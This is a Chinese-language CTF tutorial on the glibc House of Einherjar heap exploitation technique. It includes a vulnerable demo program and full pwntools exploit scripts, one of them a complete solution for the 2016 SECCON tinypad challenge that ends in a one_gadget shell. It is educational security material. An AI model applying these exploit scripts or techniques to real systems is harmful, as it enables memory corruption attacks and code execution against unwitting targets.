House Of Einherjar¶
介紹¶
house of einherjar 是一種堆利用技術,由 Hiroki Matsukuma
提出。該堆利用技術可以強制使得 malloc
返回一個幾乎任意地址的 chunk 。其主要在於濫用 free
中的後向合併操作(合併低地址的chunk),從而使得儘可能避免碎片化。
此外,需要注意的是,在一些特殊大小的堆塊中,off by one 不僅可以修改下一個堆塊的 prev_size,還可以修改下一個堆塊的 PREV_INUSE 比特位。
原理¶
後向合併操作¶
free
函數中的後向合併核心操作如下
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
這裏借用原作者的一張圖片說明
關於整體的操作,請參考 深入理解堆的實現
那一章節。
利用原理¶
這裏我們就介紹該利用的原理。首先,在之前的堆的介紹中,我們可以知道以下的知識
- 兩個物理相鄰的 chunk 會共享
prev_size
字段,尤其是當低地址的 chunk 處於使用狀態時,高地址的chunk的該字段便可以被低地址的 chunk 使用。因此,我們有希望可以通過寫低地址 chunk 覆蓋高地址 chunk 的prev_size
字段。 - 一個 chunk PREV_INUSE 位標記了其物理相鄰的低地址 chunk 的使用狀態,而且該位是和 prev_size 物理相鄰的。
- 後向合併時,新的 chunk 的位置取決於
chunk_at_offset(p, -((long) prevsize))
。
那麼如果我們可以同時控制一個chunk prev_size 與 PREV_INUSE 字段,那麼我們就可以將新的 chunk 指向幾乎任何位置。
利用過程¶
溢出前¶
假設溢出前的狀態如下
溢出¶
這裏我們假設 p0 堆塊一方面可以寫prev_size字段,另一方面,存在off by one的漏洞,可以寫下一個 chunk 的PREV_INUSE 部分,那麼
溢出後¶
假設我們將 p1的 prev_size 字段設置爲我們想要的目的 chunk 位置與p1的差值。在溢出後,我們釋放p1,則我們所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize))
就是我們想要的 chunk 位置了。
當然,需要注意的是,由於這裏會對新的 chunk 進行 unlink ,因此需要確保在對應 chunk 位置構造好了fake chunk 以便於繞過 unlink 的檢測。
攻擊過程示例¶
可以進行 House Of Einherjar 攻擊的代碼:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
char* s0 = malloc(0x200); //構造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0);
char* s3 = malloc(0x20); //爲了不讓s2與top chunk 合併
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //讀入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}
攻擊代碼如下:
from pwn import *
p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是爲了繞過
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()
注意這裏繞過unlink檢查的方法跟之前利用unlink漏洞時採用的方法不一樣
利用unlink漏洞的時候:
p->fd = &p-3*4
p->bk = &p-2*4
在這裏利用時,因爲沒有辦法找到 &p
,所以直接讓:
p->fd = p
p->bk = p
這裏需要注意一個點:
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
其實修改爲下面這樣也是可以的:
payload = p64(0) + p64(0x221) + p64(address) * 2 + "A"*0xe0
按照道理來講 fake chunk 的 size 是 0x221
才合理,但是爲什麼 0x101
也可以呢?這是因爲對 size 和 prev_size 的驗證只發生在 unlink 裏面,而 unlink 裏面是這樣驗證的:
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
所以只需要再僞造 fake chunk 的 next chunk 的 prev_size 字段就好了。
總結¶
這裏我們總結下這個利用技術需要注意的地方
- 需要有溢出漏洞可以寫物理相鄰的高地址的 prev_size 與 PREV_INUSE 部分。
- 我們需要計算目的 chunk 與 p1 地址之間的差,所以需要泄漏地址。
- 我們需要在目的 chunk 附近構造相應的 fake chunk,從而繞過 unlink 的檢測。
其實,該技術與 chunk extend/shrink 技術比較類似。
2016 Seccon tinypad¶
基本功能分析¶
首先,可以看出,程序以來一個核心的讀取函數,即讀取指定長度字節的字符串,然而,當讀取的長度恰好爲指定的長度時,會出現 off by one 的漏洞。
通過分析程序,我們不難看出,這個程序的基本功能是操作一個 tinypad,主要有以下操作
- 開頭,程序每次開頭依次判斷每個 memo 的指針來判斷是否爲空,如果不爲空,進而利用 strlen 求得其相應的長度,將 memo 的內容輸出。從這裏,我們也可以看出最多有 4 個 memo。
- 添加 memo,遍歷存儲 memo 的變量tinypad,根據 tinypad 的存儲的大小判斷 memo 是否在使用,然後還有的話,分配一個 memo。從這裏我們可以知道,程序只是從 tinypad 起始偏移16*16=256 處纔開始使用,每個 memo 存儲兩個字段,一個是該 memo 的大小,另一個是該 memo 對應的指針。所以我們可以創建一個新的結構體,並修改 ida 識別的 tinypad,使之更加可讀(但是其實 ida 沒有辦法幫忙智能識別。)。同時,由於該添加功能依賴於讀取函數,所以存在 off by one 的漏洞。此外,我們可以看出,用戶申請的 chunk 的大小最大爲 256 字節,和 tinypad 前面的未使用的 256 字節恰好一致。
- 刪除,根據存儲 memo 的大小判斷 memo 是否在被使用,同時將相應 memo 大小設置爲0,但是並沒有將指針設置爲 NULL,有可能會導致 Use After Free。即在程序開頭時,就有可能輸出一些相關的內容,這其實就是我們泄漏一些基地址的基礎。
- 編輯。在編輯時,程序首先根據之前存儲的 memo 的內容將其拷貝到 tinypad 的前 256 個字節中,但正如我們之前所說的,當 memo 存儲了 256 個字節時,就會存在 off by one漏洞。與此同時,程序利用 strlen 判斷複製之後的 tinypad 的內容長度,並將其輸出。之後程序繼續利用 strlen 求得 memo 的長度,並讀取指定長度內容到 tinypad 中,根據讀取函數,這裏必然出現了
\x00
。最後程序將讀取到 tinypad 前 256 字節的內容放到對應 memo 中。 - 退出
利用¶
基本利用思路如下
- 利用刪除時沒有將指針置爲NULL的 UAF 漏洞,泄漏堆的基地址
- 再次利用 UAF 漏洞泄漏 libc 的基地址。
- 利用 house of einherjar 方法在 tinypad 的前 256 字節中僞造 chunk。當我們再次申請時,那麼就可以控制4個 memo 的指針和內容了。
- 這裏雖然我們的第一想法可能是直接覆蓋 malloc_hook 爲 one_gadget 地址,但是,由於當編輯時,程序是利用 strlen 來判讀可以讀取多少長度,而 malloc_hook 則在初始時爲 0。所以我們直接覆蓋,所以這裏採用其他方法,即修改程序的 main 函數的返回地址爲 one_gadget,之所以可以行得通,是因爲返回地址往往是 7f 開頭的,長度足夠長,可以覆蓋爲one_gadget。所以我們還是需要泄漏 main 函數的返回地址,由於 libc 中存儲了 main 函數 environ 指針的地址,所以我們可以先泄露出environ 的地址,然後在得知存儲 main 函數的返回地址的地址。這裏選取 environ 符號是因爲 environ 符號在 libc 中會導出,而像 argc 和 argv 則不會導出,相對來說會比較麻煩一點。
- 最後修改 main 函數的返回地址爲 one_gadget 地址獲取shell。
具體利用腳本如下
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
tinypad = ELF("./tinypad")
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
libc = ELF('./libc.so.6')
else:
p = process("./tinypad")
libc = ELF('./libc.so.6')
main_arena_offset = 0x3c4b20
log.info('PID: ' + str(proc.pidof(p)[0]))
def add(size, content):
p.recvuntil('(CMD)>>> ')
p.sendline('a')
p.recvuntil('(SIZE)>>> ')
p.sendline(str(size))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
def edit(idx, content):
p.recvuntil('(CMD)>>> ')
p.sendline('e')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
p.recvuntil('Is it OK?\n')
p.sendline('Y')
def delete(idx):
p.recvuntil('(CMD)>>> ')
p.sendline('d')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx))
def run():
p.recvuntil(
' ============================================================================\n\n'
)
# 1. leak heap base
add(0x70, 'a' * 8) # idx 0
add(0x70, 'b' * 8) # idx 1
add(0x100, 'c' * 8) # idx 2
delete(2) # delete idx 1
delete(1) # delete idx 0, idx 0 point to idx 1
p.recvuntil(' # CONTENT: ')
data = p.recvuntil('\n', drop=True) # get pointer point to idx1
heap_base = u64(data.ljust(8, '\x00')) - 0x80
log.success('get heap base: ' + hex(heap_base))
# 2. leak libc base
# this will trigger malloc_consolidate
# first idx0 will go to unsorted bin
# second idx1 will merge with idx0(unlink), and point to idx0
# third idx1 will merge into top chunk
# but cause unlink feture, the idx0's fd and bk won't change
# so idx0 will leak the unsorted bin addr
delete(3)
p.recvuntil(' # CONTENT: ')
data = p.recvuntil('\n', drop=True)
unsorted_offset_arena = 8 + 10 * 8
main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena
libc_base = main_arena - main_arena_offset
log.success('main arena addr: ' + hex(main_arena))
log.success('libc base addr: ' + hex(libc_base))
# 3. house of einherjar
add(0x18, 'a' * 0x18) # idx 0
# we would like trigger house of einherjar at idx 1
add(0x100, 'b' * 0xf8 + '\x11') # idx 1
add(0x100, 'c' * 0xf8) # idx 2
add(0x100, 'd' * 0xf8) #idx 3
# create a fake chunk in tinypad's 0x100 buffer, offset 0x20
tinypad_addr = 0x602040
fakechunk_addr = tinypad_addr + 0x20
fakechunk_size = 0x101
fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(
fakechunk_addr)
edit(3, 'd' * 0x20 + fakechunk)
# overwrite idx 1's prev_size and
# set minaddr of size to '\x00'
# idx 0's chunk size is 0x20
diff = heap_base + 0x20 - fakechunk_addr
log.info('diff between idx1 and fakechunk: ' + hex(diff))
# '\0' padding caused by strcpy
diff_strip = p64(diff).strip('\0')
number_of_zeros = len(p64(diff)) - len(diff_strip)
for i in range(number_of_zeros + 1):
data = diff_strip.rjust(0x18 - i, 'f')
edit(1, data)
delete(2)
p.recvuntil('\nDeleted.')
# fix the fake chunk size, fd and bk
# fd and bk must be unsorted bin
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) +
p64(main_arena + 88))
# 3. overwrite malloc_hook with one_gadget
one_gadget_addr = libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']
log.info('one gadget addr: ' + hex(one_gadget_addr))
log.info('environ pointer addr: ' + hex(environ_pointer))
#fake_malloc_chunk = main_arena - 60 + 9
# set memo[0].size = 'a'*8,
# set memo[0].content point to environ to leak environ addr
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(
environ_pointer) + 'a' * 8 + p64(0x602148)
# get a fake chunk
add(0x100 - 8, fake_pad) # idx 2
#gdb.attach(p)
# get environ addr
p.recvuntil(' # CONTENT: ')
environ_addr = p.recvuntil('\n', drop=True).ljust(8, '\x00')
environ_addr = u64(environ_addr)
main_ret_addr = environ_addr - 30 * 8
# set memo[0].content point to main_ret_addr
edit(2, p64(main_ret_addr))
# overwrite main_ret_addr with one_gadget addr
edit(1, p64(one_gadget_addr))
p.interactive()
if __name__ == "__main__":
run()